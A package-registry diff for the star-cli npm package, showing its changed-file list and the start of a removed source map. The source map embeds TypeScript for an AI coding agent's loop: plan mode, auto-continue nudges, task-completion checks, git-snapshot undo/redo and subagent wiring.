@cryer/star-cli 0.3.8 → 0.3.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +16 -2
- package/README.zh-CN.md +15 -2
- package/dist/chunk-4IRY44TG.js +34 -0
- package/dist/chunk-4IRY44TG.js.map +1 -0
- package/dist/chunk-A5PXPWHB.js +2014 -0
- package/dist/chunk-A5PXPWHB.js.map +1 -0
- package/dist/chunk-IJGUW4PM.js +504 -0
- package/dist/chunk-IJGUW4PM.js.map +1 -0
- package/dist/chunk-MNVCCOI2.js +3510 -0
- package/dist/chunk-MNVCCOI2.js.map +1 -0
- package/dist/chunk-MVAMPVTA.js +232 -0
- package/dist/chunk-MVAMPVTA.js.map +1 -0
- package/dist/{chunk-IYWYSFSF.js → chunk-PDFC7QVW.js} +339 -218
- package/dist/chunk-PDFC7QVW.js.map +1 -0
- package/dist/chunk-URC7JXKX.js +1414 -0
- package/dist/chunk-URC7JXKX.js.map +1 -0
- package/dist/loop-TW2FHL7J.js +17 -0
- package/dist/main.js +257 -79
- package/dist/main.js.map +1 -1
- package/dist/provider-EWMUPBLH.js +11 -0
- package/dist/provider-EWMUPBLH.js.map +1 -0
- package/dist/{repl-YA23CK5R.js → repl-GBVIW5QR.js} +435 -262
- package/dist/repl-GBVIW5QR.js.map +1 -0
- package/dist/tools-7EBGCYYE.js +18 -0
- package/dist/tools-7EBGCYYE.js.map +1 -0
- package/package.json +18 -26
- package/dist/chunk-IYWYSFSF.js.map +0 -1
- package/dist/chunk-OHLA2DP7.js +0 -5849
- package/dist/chunk-OHLA2DP7.js.map +0 -1
- package/dist/loop-2MOFLXTG.js +0 -12
- package/dist/repl-YA23CK5R.js.map +0 -1
- /package/dist/{loop-2MOFLXTG.js.map → loop-TW2FHL7J.js.map} +0 -0
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/agent/loop.ts","../src/config/schema.ts","../src/context/compaction.ts","../src/context/tokens.ts","../src/core/git.ts","../src/core/http-error.ts","../src/core/image.ts","../src/core/messages.ts","../src/hooks/runner.ts","../src/llm/provider.ts","../src/llm/activity.ts","../src/llm/registry.ts","../src/llm/sse-normalize.ts","../src/llm/retry.ts","../src/llm/stream.ts","../src/llm/debug.ts","../src/config/paths.ts","../src/permissions/gate.ts","../src/core/sensitive.ts","../src/permissions/shell.ts","../src/permissions/allow.ts","../src/session/title.ts","../src/snapshot/git-tree.ts","../src/tools/fs/snapshots.ts","../src/tools/bash.ts","../src/tasks/manager.ts","../src/tools/fs/edit.ts","../src/tools/fs/glob.ts","../src/tools/fs/util.ts","../src/tools/fs/grep.ts","../src/tools/fs/read.ts","../src/tools/fs/read-image.ts","../src/core/image-resize.ts","../src/tools/fs/write.ts","../src/tools/screenshot.ts","../src/core/screenshot.ts","../src/tools/tasks.ts","../src/agent/agent-tasks.ts","../src/tasks/format.ts","../src/tools/todo.ts","../src/tools/web/fetch.ts","../src/tools/web/search.ts","../src/tools/registry.ts","../src/agent/project-memory.ts","../src/agent/skills.ts","../src/agent/subagent.ts","../src/tools/index.ts","../src/agent/user-memory.ts"],"sourcesContent":["import { type LanguageModel, tool as aiTool, generateText } from \"ai\";\nimport { type StarConfig, resolveCompactThreshold } from \"../config/schema\";\nimport { type CompactionResult, compactMessages, summarizeMessages } from \"../context/compaction\";\nimport type { StreamEvent, TokenUsage } from \"../core/events\";\nimport { formatGitSummary, getGitSummaryCached } from \"../core/git\";\nimport { isOversizedImageError, stripOversizedImages } from \"../core/image\";\nimport {\n type ChatInput,\n type CoreMessage,\n reconcileToolCalls,\n retractLastTurn,\n} from \"../core/messages\";\nimport { type HookEvent, type HookRunResult, runHooks } from \"../hooks/runner\";\nimport { createModel } from \"../llm/provider\";\nimport { resolveModelConfig } from \"../llm/registry\";\nimport { computeRetryDelayMs, isRetryableStreamError, summarizeStreamError } from \"../llm/retry\";\nimport { streamChat } from \"../llm/stream\";\nimport { checkPermission } from \"../permissions/gate\";\nimport type { PermissionRequest } from \"../permissions/types\";\nimport type { SessionStore } from \"../session/store\";\nimport { scheduleSessionTitle } from \"../session/title\";\nimport { diffTreeNames, restoreTree, trackTree } from \"../snapshot/git-tree\";\nimport {\n beginTurn,\n currentTurnSeq,\n dropTurnSnapshots,\n setSnapshotHooks,\n undoTurnSnapshots,\n} from \"../tools/fs/snapshots\";\nimport { ToolRegistry } from \"../tools/registry\";\nimport { TodoStore, pendingTodoTitles, setTodoPersistGuard } from \"../tools/todo\";\nimport type { ToolResult } from \"../tools/types\";\nimport { defaultAgentTasks } from \"./agent-tasks\";\nimport { readProjectMemory } from \"./project-memory\";\nimport { createSkillTool, discoverSkills, formatSkillsBlock } from \"./skills\";\nimport { MAX_SUBAGENT_DEPTH, convertUsagePricing, createSubagentTool } from \"./subagent\";\nimport { createRememberTool, readUserMemory } from \"./user-memory\";\n\nexport interface AgentLoopOptions {\n model: LanguageModel;\n registry: ToolRegistry;\n config: StarConfig;\n cwd: string;\n system?: string;\n sessionStore?: SessionStore | null;\n // Effective context window for compaction (per-model override resolved by\n // the caller); falls back to config.contextMaxTokens when omitted.\n contextMaxTokens?: number;\n // Per-call provider metadata (e.g. the model's reasoningEffort), resolved\n // by the caller via llm/provider.ts reasoningEffortMetadata.\n providerMetadata?: Record<string, Record<string, unknown>>;\n // Per-model sampling temperature (the model's [[models]] temperature key),\n // resolved by the caller; undefined falls through to the SDK default\n // (ai@4: 0). Subagents inherit it.\n temperature?: number;\n // Per-model stream watchdog overrides (the model's [[models]] keys),\n // resolved by the caller; fall back to the top-level config values when\n // unset. Subagents inherit them.\n streamIdleTimeoutSec?: number;\n streamFirstChunkTimeoutSec?: number;\n // Depth of this loop in the subagent chain (0 = main agent). At\n // MAX_SUBAGENT_DEPTH the subagent tool is not registered, so subagents\n // cannot spawn further subagents.\n subagentDepth?: number;\n // Base delay between stream retries (doubled per attempt); tests shrink it.\n retryDelayMs?: number;\n}\n\nexport const PLAN_MODE_PROMPT =\n \"\\n\\nYou are currently in PLAN MODE. Research the task using only the read-only tools available to you, then present a concrete, step-by-step implementation plan as your final answer. You must not modify files, run shell commands, or otherwise change the system — write/exec tools are unavailable in this mode. Do not ask the user to run commands for you; note manual steps in the plan instead. The user will review your plan and approve it before any execution begins.\";\n\ninterface PendingToolCall {\n id: string;\n name: string;\n args: unknown;\n}\n\n// Matches announcements of pending work (\"我会保留…\", \"接下来我将…\",\n// \"开始执行转换…\", \"I will now convert…\") in a text-only reply — the signature\n// of a model that ended its turn without doing what it just said it would do.\n// The lookaheads keep polite closers out: \"Let me know if you need anything\n// else\" / \"让我知道\" end a finished task, they don't announce work. Keyword\n// matching can never catch every phrasing, so for turns that used tools this\n// is only the fallback when the semantic completion check can't answer (see\n// the text-only branch in stream()).\nconst PENDING_WORK_PATTERN =\n /(?:我将|我会|我现在|接下来|下一步|下面(?:我|将)|稍后|随后|准备开始|现在开始|马上|即将|这就|待会|开始(?:执行|进行|处理|转换|动手|生成|写入|运行|创建)|(?:完成后|然后|接着)会|让我(?:们)?(?:来)?(?!知道)|I will|I'll|I am going to|I'm going to|I shall|\\blet me(?!\\s+know\\b)|next,? I|I will now)/i;\n\nconst AUTO_CONTINUE_NUDGE =\n \"[auto-continue] You ended your turn with words instead of actions. Do not describe or restate the plan — continue the task NOW by calling tools. Reply with text only if the task is already fully complete.\";\n\nconst EMPTY_REPLY_NUDGE =\n \"[auto-continue] Your previous reply was empty — no text and no tool calls. If the task is fully complete, reply with one short confirmation; otherwise continue NOW by calling tools.\";\n\n// Sent after the idle watchdog cut a reply mid-generation: the partial text\n// stays committed, so the model resumes where it stopped instead of\n// regenerating from scratch (a resend would hit the same stalling relay and\n// re-bill the whole prompt).\nconst TRUNCATED_CONTINUE_NUDGE =\n \"[auto-continue] Your previous reply was cut off mid-stream by a timeout — it is incomplete. Resume EXACTLY where you stopped: do not repeat or restate what you already wrote; continue with the next tool call or the remainder of the text.\";\n\n// An empty reply the model finished with a content filter reproduces on every\n// identical resend (the filter judged the request itself), so it gets one\n// confirmation resend before steering changes the input. Any other empty\n// finish — stop with no content, or no finish at all — is indistinguishable\n// from a relay hiccup and gets the full retry budget first.\nfunction isFilteredEmptyFinish(finishReason: string | undefined): boolean {\n return finishReason === \"content-filter\";\n}\n\n// After the retry budget is spent, an empty reply finished deliberately\n// (stop/content-filter) is steered with a nudge; an empty finish of any other\n// kind (idle-timeout, none) means the stream stayed sick and errors out.\nfunction isSteerableEmptyFinish(finishReason: string | undefined): boolean {\n return finishReason === \"stop\" || finishReason === \"content-filter\";\n}\n\n// Appended to a nudge that spends the last continuation budget, so the model\n// knows the next tool-less reply hands the turn back to the user instead of\n// being nudged again — its cue to wrap up or report what remains.\nfunction finalNudgeWarning(autoContinues: number, maxAutoContinues: number): string {\n return autoContinues >= maxAutoContinues\n ? \" This is the final automatic continuation — if your next reply again has no tool calls, nudging stops and the turn is handed back to the user. Finish the work now or summarize what remains.\"\n : \"\";\n}\n\nconst COMPLETION_CHECK_TIMEOUT_MS = 30_000;\n\n// Attaches per-turn volatile context (git state) to the latest user message —\n// request-only, never persisted. Keeping it out of the system message and out\n// of the immutable history means a changed repo state between turns never\n// invalidates the prompt-cache prefix: the block always lands in the\n// not-yet-cached tail.\nexport function attachTurnContext(messages: CoreMessage[], context: string | null): CoreMessage[] {\n if (!context) return messages;\n for (let i = messages.length - 1; i >= 0; i--) {\n const message = messages[i];\n if (message?.role !== \"user\") continue;\n const reminder = {\n type: \"text\" as const,\n text: `<system-reminder>\\n${context}\\n</system-reminder>`,\n };\n const content =\n typeof message.content === \"string\"\n ? message.content\n ? [reminder, { type: \"text\" as const, text: message.content }]\n : [reminder]\n : [reminder, ...message.content];\n const copy = messages.slice();\n copy[i] = { ...message, content };\n return copy;\n }\n return messages;\n}\n\n// Keyword matching cannot catch every phrasing of \"I am about to…\", so a\n// text-only end to a turn that used tools gets a semantic check: the model\n// itself judges whether the user's request is actually finished. Returns\n// null when the check fails (network, timeout, unparseable reply) — the\n// caller then treats the turn as complete rather than nudging on a broken\n// signal.\nasync function checkTaskComplete(\n model: LanguageModel,\n request: string,\n finalReply: string,\n signal: AbortSignal,\n temperature?: number,\n): Promise<boolean | null> {\n const controller = new AbortController();\n const timer = setTimeout(() => controller.abort(), COMPLETION_CHECK_TIMEOUT_MS);\n const onAbort = () => controller.abort();\n signal.addEventListener(\"abort\", onAbort, { once: true });\n try {\n const { text } = await generateText({\n model,\n maxTokens: 8,\n temperature,\n abortSignal: controller.signal,\n prompt: [\n \"An AI coding agent was given this task by the user:\",\n `<task>\\n${request.slice(0, 2000)}\\n</task>`,\n \"The agent has stopped calling tools and ended with this reply:\",\n `<reply>\\n${finalReply.slice(0, 2000)}\\n</reply>`,\n \"Has the agent fully completed the task — every requested action actually performed, and the result verified by running a check (tests, build, or inspecting the produced output) rather than assumed? Or is it only describing, planning, or reporting progress with work still left? Answer with exactly one word: DONE or NOT_DONE.\",\n ].join(\"\\n\"),\n });\n const verdict = text.trim().toUpperCase();\n if (verdict.startsWith(\"NOT_DONE\")) return false;\n if (verdict.startsWith(\"DONE\")) return true;\n return null;\n } catch {\n return null;\n } finally {\n clearTimeout(timer);\n signal.removeEventListener(\"abort\", onAbort);\n }\n}\n\nconst STREAM_RETRY_BASE_DELAY_MS = 1000;\n\n// The redo stack labels each entry with the start of the undone turn's user\n// message, so the /redo prompt can say what restoring brings back.\nconst REDO_LABEL_MAX = 40;\n\n// Text of a message for the redo label; mirrors cli/format.ts\n// coreMessageText (kept local — the agent layer must not import from cli).\nfunction messageText(message: CoreMessage | undefined): string {\n if (!message) return \"\";\n const content = message.content;\n if (typeof content === \"string\") return content;\n if (Array.isArray(content)) {\n return content\n .filter((part) => part.type === \"text\")\n .map((part) => (\"text\" in part ? part.text : \"\"))\n .join(\" \");\n }\n return \"\";\n}\n\n// Stable JSON for doom-loop signatures: object keys sort recursively so the\n// same arguments serialize identically regardless of key order.\nfunction stableStringify(value: unknown): string {\n if (value === undefined) return \"undefined\";\n if (value === null || typeof value !== \"object\") return JSON.stringify(value) ?? \"null\";\n if (Array.isArray(value)) return `[${value.map(stableStringify).join(\",\")}]`;\n const record = value as Record<string, unknown>;\n const entries = Object.keys(record)\n .sort()\n .map((key) => `${JSON.stringify(key)}:${stableStringify(record[key])}`);\n return `{${entries.join(\",\")}}`;\n}\n\n// Resolves true after `ms`, or false immediately when the signal aborts.\nfunction sleep(ms: number, signal: AbortSignal): Promise<boolean> {\n if (signal.aborted) return Promise.resolve(false);\n return new Promise((resolve) => {\n const onAbort = () => {\n clearTimeout(timer);\n resolve(false);\n };\n const timer = setTimeout(() => {\n signal.removeEventListener(\"abort\", onAbort);\n resolve(true);\n }, ms);\n signal.addEventListener(\"abort\", onAbort, { once: true });\n });\n}\n\nexport class AgentLoop {\n private messages: CoreMessage[] = [];\n private readonly opts: AgentLoopOptions;\n // Seq + user-message index of each turn started via stream(); lets /undo\n // match a retracted turn to the file snapshots it produced. `tree` is the\n // whole-tree git snapshot captured at the turn's start (root loop only,\n // config.gitSnapshots) — when present, /undo restores it instead of\n // replaying per-file snapshots, which also covers bash-made changes.\n // Cleared when history is replaced wholesale (resume/compact), because\n // indices no longer line up — in that case /undo only retracts messages,\n // never wrong files.\n private turnMarkers: { seq: number; userIndex: number; tree?: string }[] = [];\n // Pre-undo tree snapshots, latest last: a git-path /undo pushes the\n // pre-undo working tree here so /redo can restore it exactly. Only the git\n // path feeds this — per-file snapshot undos stay non-redoable.\n private redoStack: { tree: string; label: string }[] = [];\n // Start of the most recently retracted turn's user message; undoLastTurn\n // consumes it as the redo label right after retractLastTurn sets it.\n private lastUndoneLabel = \"\";\n // Doom-loop guard: signature of the most recent tool call and how many\n // times in a row it has repeated. Any different call resets the count, and\n // each new user turn restarts the streak.\n private lastToolSignature: string | null = null;\n private repeatedToolCalls = 0;\n // Token usage subagents consumed, waiting to fold into this loop's next\n // finish event with usage: sync children report when their tool call\n // settles, background ones whenever they finish (drained or not).\n // Consumers meter only root-loop finish events, so folding here bills\n // subagent spend with zero consumer changes — /cost, /usage and\n // sessionBudgetUsd all cover it. A background child still running when the\n // session's last finish has passed never reports (best effort, noted in\n // agent-tasks cleanup paths).\n private subagentUsage: TokenUsage | null = null;\n // Turn context of the in-flight stream() turn, stamped onto every tool\n // execution so file snapshots attribute root changes to a turn and mark\n // subagent changes as excluded from turn-level retraction.\n private activeTurnSeq = 0;\n private activeTurnUserIndex = -1;\n private titleScheduled = false;\n private titleInput?: string;\n // Rendered git context for the in-flight turn (null when unavailable);\n // snapshotted at turn start so every step of the turn sends the same block.\n private turnGitContext: string | null = null;\n // Lazily resolved auxiliary model (config.smallModel) for cheap side calls\n // — compaction summaries, session titles, completion checks. Undefined =\n // use the main model; a resolution failure is surfaced once as a notice.\n private auxModelResolved = false;\n private auxModelValue?: LanguageModel;\n private auxTemperatureValue?: number;\n private auxModelError: string | null = null;\n confirmHandler?: (req: PermissionRequest) => Promise<boolean>;\n // Hook failures never block the turn (except an explicit PreToolUse block);\n // their stderr surfaces through this callback (REPL system message / stderr\n // in print mode).\n onHookWarning?: (message: string) => void;\n\n constructor(opts: AgentLoopOptions) {\n this.opts = opts;\n const depth = opts.subagentDepth ?? 0;\n if (depth > 0) {\n // Subagent todo isolation: the default registry wires the todo tools to\n // a process-wide store, so a child's todo_write would clobber the root\n // session's list (and the REPL panel mirroring it). The child gets a\n // fresh registry backed by its own store — the registry a caller hands\n // to a subagent loop is always a freshly created default one (see\n // runSubagent), so replacing it loses nothing.\n opts.registry = new ToolRegistry(new TodoStore());\n } else {\n // Root only: todo persistence follows the permission mode, so\n // readonly/plan sessions never touch .star/todos.json. The mode can\n // change at runtime, so the guard reads the live config object.\n setTodoPersistGuard(() => {\n const mode = this.opts.config.permissionMode;\n return mode !== \"readonly\" && mode !== \"plan\";\n });\n }\n if (opts.system) {\n this.messages.push({ role: \"system\", content: opts.system });\n }\n if (opts.sessionStore) {\n this.bindSnapshotHooks(opts.sessionStore);\n }\n // Read-level, so it is available at every subagent depth and in plan\n // mode. Skills are discovered lazily at execute time, so ones added\n // mid-session work without re-registering.\n opts.registry?.register(createSkillTool({ cwd: opts.cwd }));\n // Write-level like the fs write tools, so the permission gate still\n // applies in ask mode; available at every subagent depth.\n opts.registry?.register(createRememberTool());\n if (opts.registry && depth < MAX_SUBAGENT_DEPTH) {\n opts.registry.register(\n createSubagentTool({\n model: opts.model,\n config: opts.config,\n cwd: opts.cwd,\n system: opts.system,\n providerMetadata: opts.providerMetadata,\n temperature: opts.temperature,\n streamIdleTimeoutSec: opts.streamIdleTimeoutSec,\n streamFirstChunkTimeoutSec: opts.streamFirstChunkTimeoutSec,\n depth,\n getConfirmHandler: () => this.confirmHandler,\n onUsage: (usage, childModel) => this.addSubagentUsage(usage, childModel),\n }),\n );\n }\n }\n\n getMessages(): readonly CoreMessage[] {\n return this.messages;\n }\n\n // Auxiliary model for cheap side calls: config.smallModel, resolved once.\n // An unresolvable name/key degrades to the main model instead of breaking\n // turns; the failure rides out once as a notice at the next turn start.\n private resolveAuxModel(): void {\n if (this.auxModelResolved) return;\n this.auxModelResolved = true;\n const name = this.opts.config.smallModel;\n if (!name) return;\n try {\n this.auxModelValue = createModel(this.opts.config, name);\n this.auxTemperatureValue =\n resolveModelConfig(this.opts.config, name).temperature ?? this.opts.temperature;\n } catch (error) {\n this.auxModelError = `smallModel \"${name}\" could not be resolved (${\n error instanceof Error ? error.message : String(error)\n }); using the main model for auxiliary calls.`;\n }\n }\n\n getAuxModel(): LanguageModel {\n this.resolveAuxModel();\n return this.auxModelValue ?? this.opts.model;\n }\n\n getAuxTemperature(): number | undefined {\n this.resolveAuxModel();\n return this.auxModelValue ? this.auxTemperatureValue : this.opts.temperature;\n }\n\n // Rebinds the per-call provider metadata (e.g. after the reasoning effort\n // for the current model changed via /model) without recreating the loop.\n setProviderMetadata(metadata: Record<string, Record<string, unknown>> | undefined): void {\n this.opts.providerMetadata = metadata;\n }\n\n // Swaps the persistence target (/new starts a fresh session mid-REPL).\n // Title generation is re-armed so the new session gets one after its first\n // turn, and snapshot checkpoints now flow to the new store. The redo stack\n // dies with the old session context: its trees describe working-tree states\n // that no longer line up with the new session's conversation.\n setSessionStore(store: SessionStore | null): void {\n this.opts.sessionStore = store;\n this.titleScheduled = false;\n this.titleInput = undefined;\n this.redoStack = [];\n if (store) this.bindSnapshotHooks(store);\n }\n\n private bindSnapshotHooks(store: SessionStore): void {\n setSnapshotHooks({\n onPush: (snapshot) =>\n store.appendCheckpoint(\n {\n id: snapshot.id,\n timestamp: snapshot.timestamp,\n path: snapshot.path,\n existed: snapshot.existed,\n toolName: snapshot.toolName,\n turn: snapshot.turn,\n messageIndex: snapshot.messageIndex,\n owner: snapshot.owner,\n contentTooLarge: snapshot.contentTooLarge,\n },\n snapshot.content,\n ),\n onRemove: (ids) => store.removeCheckpoints(ids),\n });\n }\n\n async loadMessages(messages: CoreMessage[]): Promise<void> {\n this.messages = reconcileToolCalls(messages);\n this.turnMarkers = [];\n this.redoStack = [];\n this.opts.registry?.resetVolatileState();\n }\n\n // Read-only counterpart of retractLastTurn: how many messages /undo would\n // drop, which snapshot turn's file changes it would revert (undefined =\n // no verified turn, so no file snapshots may be reverted), and the turn's\n // whole-tree snapshot when one was captured. Mutates nothing, so the REPL\n // can show the preview before the user confirms.\n previewLastTurnRetraction(): { removed: number; turn?: number; tree?: string } {\n const result = retractLastTurn([...this.messages]);\n if (result.removed === 0) return { removed: 0 };\n const userIndex = result.messages.length;\n const last = this.turnMarkers[this.turnMarkers.length - 1];\n const verified = last && last.userIndex === userIndex;\n return {\n removed: result.removed,\n turn: verified ? last.seq : undefined,\n tree: verified ? last.tree : undefined,\n };\n }\n\n // Drops the final user message and everything after it, and persists the\n // trimmed history so a later /resume does not bring the turn back.\n // `turn` is the retracted turn's snapshot seq when it could be verified\n // against the marker recorded at turn start — undefined means the caller\n // must not revert any file snapshots. `tree` is the turn's whole-tree\n // snapshot when git snapshots tracked it.\n async retractLastTurn(): Promise<{ removed: number; turn?: number; tree?: string }> {\n const result = retractLastTurn([...this.messages]);\n if (result.removed === 0) return { removed: 0 };\n const userIndex = result.messages.length;\n this.lastUndoneLabel = messageText(this.messages[userIndex]).slice(0, REDO_LABEL_MAX);\n this.messages = result.messages;\n await this.opts.sessionStore?.replaceMessages([...this.messages]);\n this.opts.registry?.resetVolatileState();\n const last = this.turnMarkers[this.turnMarkers.length - 1];\n let turn: number | undefined;\n let tree: string | undefined;\n if (last && last.userIndex === userIndex) {\n turn = last.seq;\n tree = last.tree;\n this.turnMarkers.pop();\n }\n return { removed: result.removed, turn, tree };\n }\n\n // The confirmed /undo: retract the last turn, then revert its file changes.\n // With a whole-tree snapshot the working tree is restored from git — which\n // also reverts changes no tool snapshot saw (bash edits, deleted files) —\n // and the turn's per-file snapshots are dropped instead of replayed (they\n // would double-restore). The pre-undo tree feeds the redo stack, so /redo\n // returns to the exact state before the undo. Any git failure falls back\n // to the per-file snapshot revert, which never pushes the redo stack.\n async undoLastTurn(): Promise<{ removed: number; reverted: string[]; tree?: string }> {\n const { removed, turn, tree } = await this.retractLastTurn();\n if (removed === 0) return { removed, reverted: [] };\n if (turn !== undefined && tree !== undefined) {\n const preUndoTree = await trackTree(this.opts.cwd);\n if (preUndoTree !== null && (await restoreTree(this.opts.cwd, tree))) {\n this.redoStack.push({ tree: preUndoTree, label: this.lastUndoneLabel });\n const dropped = await dropTurnSnapshots(turn, true);\n return {\n removed,\n reverted: [\n `Restored the working tree from the git snapshot taken at the turn's start (${tree.slice(0, 8)}; covers changes from any tool, bash included; ${dropped} per-file snapshot(s) discarded).`,\n ],\n tree,\n };\n }\n }\n const reverted = turn !== undefined ? await undoTurnSnapshots(turn) : [];\n return { removed, reverted };\n }\n\n // The redo entry /redo would restore, without popping it (for the confirm\n // prompt); null when there is nothing to redo.\n peekRedo(): { tree: string; label: string } | null {\n return this.redoStack[this.redoStack.length - 1] ?? null;\n }\n\n // Restores the working tree to its state just before the last git-path\n // /undo. Conversation messages are not re-added — redo is file-level only.\n // The entry stays on the stack when the restore fails, so it can be retried.\n async redoLastUndo(): Promise<{\n ok: boolean;\n tree: string;\n label: string;\n files: number | null;\n } | null> {\n const entry = this.redoStack[this.redoStack.length - 1];\n if (!entry) return null;\n // Diff before restoring: afterwards the tree matches the work tree and\n // the changed-file count would read zero.\n const names = await diffTreeNames(this.opts.cwd, entry.tree);\n if (!(await restoreTree(this.opts.cwd, entry.tree))) {\n return { ok: false, tree: entry.tree, label: entry.label, files: null };\n }\n this.redoStack.pop();\n return { ok: true, tree: entry.tree, label: entry.label, files: names?.length ?? null };\n }\n\n // Cut point for a rewind: messages[index] should be the user message that\n // started the rewound turn, but compaction may have shifted indices, so\n // walk back to the nearest user message. Never touches a leading system\n // message.\n private retractionCut(index: number): number {\n const clamped = Math.max(0, Math.min(index, this.messages.length - 1));\n for (let i = clamped; i >= 0; i--) {\n if (this.messages[i]?.role === \"user\") return i;\n }\n return this.messages[0]?.role === \"system\" ? 1 : 0;\n }\n\n countRetraction(index: number): number {\n return this.messages.length - this.retractionCut(index);\n }\n\n // Truncates the history back to the given message index (the user message\n // at that index and everything after it is dropped) and persists the\n // trimmed history, so /rewind stays consistent across resume. The redo\n // stack dies with the rewound context: its entries describe pre-/undo\n // working-tree states that no longer line up with this conversation, so\n // restoring one would clobber the rewound tree.\n async retractFromIndex(index: number): Promise<number> {\n const cut = this.retractionCut(index);\n const removed = this.messages.length - cut;\n if (removed === 0) return 0;\n this.messages = this.messages.slice(0, cut);\n await this.opts.sessionStore?.replaceMessages([...this.messages]);\n this.opts.registry?.resetVolatileState();\n this.turnMarkers = this.turnMarkers.filter((m) => m.userIndex < cut);\n this.redoStack = [];\n return removed;\n }\n\n async appendContextMessage(text: string, role: \"user\" | \"system\" = \"user\"): Promise<void> {\n const message: CoreMessage = { role, content: text };\n this.messages.push(message);\n await this.persist(message);\n }\n\n private async persist(message: CoreMessage): Promise<void> {\n await this.opts.sessionStore?.append(message);\n }\n\n // Replaces oversized image parts in the in-memory history with text\n // placeholders and rewrites the persisted session, so the failed request\n // can be resent and a later resume never carries the offending images.\n private async stripOversizedImages(): Promise<number> {\n const { messages, removed } = stripOversizedImages(this.messages);\n if (removed === 0) return 0;\n this.messages = messages;\n await this.opts.sessionStore?.replaceMessages([...this.messages]);\n return removed;\n }\n\n // Background title generation runs once per loop, fed by the first real\n // user message of the session. It must NOT latch on the first assistant\n // step's text: that text is empty for a tool-call-only first step (the\n // common agentic case), which used to burn the one-shot flag on an empty\n // input and left every such session untitled. The store-level title check\n // makes resumed sessions that already have a title a no-op.\n private maybeScheduleTitle(): void {\n if (this.titleScheduled) return;\n const store = this.opts.sessionStore;\n if (!store) return;\n const input = this.titleInput;\n if (!input) return;\n this.titleScheduled = true;\n scheduleSessionTitle(store, input, this.getAuxModel());\n }\n\n // A user interrupt (Esc) ends the turn mid-stream, before the normal\n // assistant-message persistence runs. Whatever text and tool calls already\n // arrived are still persisted — the text marked with \"[interrupted]\" so the\n // cut-off stays visible after a resume and the model can tell its reply was\n // cut short — and streamed tool calls are closed with synthetic results so\n // the stored history stays valid for the API.\n private async *persistInterrupted(\n text: string,\n toolCalls: PendingToolCall[],\n ): AsyncGenerator<StreamEvent> {\n if (text.length === 0 && toolCalls.length === 0) return;\n const assistantMessage: CoreMessage = {\n role: \"assistant\",\n content: [\n ...(text ? [{ type: \"text\" as const, text: `${text} [interrupted]` }] : []),\n ...toolCalls.map((call) => ({\n type: \"tool-call\" as const,\n toolCallId: call.id,\n toolName: call.name,\n args: call.args,\n })),\n ],\n };\n this.messages.push(assistantMessage);\n await this.persist(assistantMessage);\n for (const call of toolCalls) {\n const content = \"Tool execution interrupted by user.\";\n const synthetic: CoreMessage = {\n role: \"tool\",\n content: [\n {\n type: \"tool-result\" as const,\n toolCallId: call.id,\n toolName: call.name,\n result: content,\n },\n ],\n };\n this.messages.push(synthetic);\n await this.persist(synthetic).catch(() => {});\n yield { type: \"tool-result\", id: call.id, name: call.name, content, isError: true };\n }\n }\n\n async *stream(\n input: ChatInput,\n signal: AbortSignal,\n opts?: { persistAs?: string },\n ): AsyncGenerator<StreamEvent> {\n this.syncSystemMessage();\n // Snapshot the repo state once per turn; attachTurnContext adds it to the\n // outgoing request without touching the persisted history. Git failures\n // degrade to no context (getGitSummaryCached returns null).\n const git = getGitSummaryCached(this.opts.cwd);\n this.turnGitContext = git ? formatGitSummary(git) : null;\n this.resolveAuxModel();\n if (this.auxModelError) {\n yield { type: \"notice\", message: this.auxModelError };\n this.auxModelError = null;\n }\n\n const inputText = typeof input === \"string\" ? input : input.text;\n const images = typeof input === \"string\" ? [] : input.images;\n if (this.titleInput === undefined && inputText.trim().length > 0) {\n this.titleInput = inputText;\n }\n const userMessage: CoreMessage =\n images.length > 0\n ? {\n role: \"user\",\n content: [\n ...images.map((img) => ({\n type: \"image\" as const,\n image: img.data,\n mimeType: img.mimeType,\n })),\n { type: \"text\" as const, text: inputText },\n ],\n }\n : { role: \"user\", content: inputText };\n // Root loop only: capture the whole working tree before the turn can\n // change anything (a subagent shares the parent's cwd, and the parent's\n // turn-start tree already covers its changes). Silent no-op when git\n // snapshots are off or git fails — /undo then falls back to per-file\n // snapshots.\n const isRoot = (this.opts.subagentDepth ?? 0) === 0;\n const tree =\n isRoot && this.opts.config.gitSnapshots\n ? ((await trackTree(this.opts.cwd)) ?? undefined)\n : undefined;\n this.messages.push(userMessage);\n // Only the root loop opens a new snapshot turn: a subagent runs inside the\n // parent's turn, and its file changes must keep the parent's turn seq and\n // message index so /undo and /rewind attribute them correctly.\n const seq = isRoot ? beginTurn(this.messages.length - 1) : currentTurnSeq();\n this.turnMarkers.push({ seq, userIndex: this.messages.length - 1, tree });\n this.activeTurnSeq = seq;\n this.activeTurnUserIndex = this.messages.length - 1;\n await this.persist(\n opts?.persistAs !== undefined ? { role: \"user\", content: opts.persistAs } : userMessage,\n );\n this.maybeScheduleTitle();\n\n const { config, registry, cwd } = this.opts;\n const aiTools = this.buildAiTools();\n // A new user turn restarts the doom-loop streak: the counter spans the\n // steps of one turn only, so a legitimate repeat of a call that ended\n // the previous turn isn't refused on sight.\n this.lastToolSignature = null;\n this.repeatedToolCalls = 0;\n let autoContinues = 0;\n let lastWasNudge = false;\n let usedToolsThisTurn = false;\n // Continuations after a watchdog-truncated reply — a separate budget from\n // autoContinues, since each cut is transport trouble (a stalling relay),\n // not an unproductive reply.\n let streamCutContinues = 0;\n // Open items from the latest todo_write this turn — a deterministic\n // \"work still pending\" signal that needs no text interpretation.\n let openTodos: string[] = [];\n\n // One step = one model round-trip: the streamed reply plus every tool\n // call it asked for. Stream retries have their own budget\n // (streamMaxRetries) and auto-continue nudges theirs (maxAutoContinues),\n // so neither consumes steps. maxSteps is a progress checkpoint rather\n // than a hard kill: reaching it while tools still execute resets the\n // budget with a notice, and the turn stops only when no tool ran since\n // the last checkpoint — the doom-loop signature. 0 disables the cap.\n const maxSteps = config.maxSteps;\n let step = 0;\n let toolExecutedSinceCheckpoint = false;\n for (;;) {\n if (maxSteps > 0 && step >= maxSteps) {\n if (!toolExecutedSinceCheckpoint) {\n yield {\n type: \"error\",\n error: new Error(\n `Max steps (${maxSteps}) reached with no tool execution since the last checkpoint, stopping.`,\n ),\n };\n await this.runStopHooks(\"max-steps\");\n return;\n }\n toolExecutedSinceCheckpoint = false;\n step = 0;\n yield {\n type: \"notice\",\n message: `maxSteps (${maxSteps}) reached and the turn is still making progress; continuing. Press Esc to interrupt.`,\n };\n }\n // Deliver finished background subagent reports 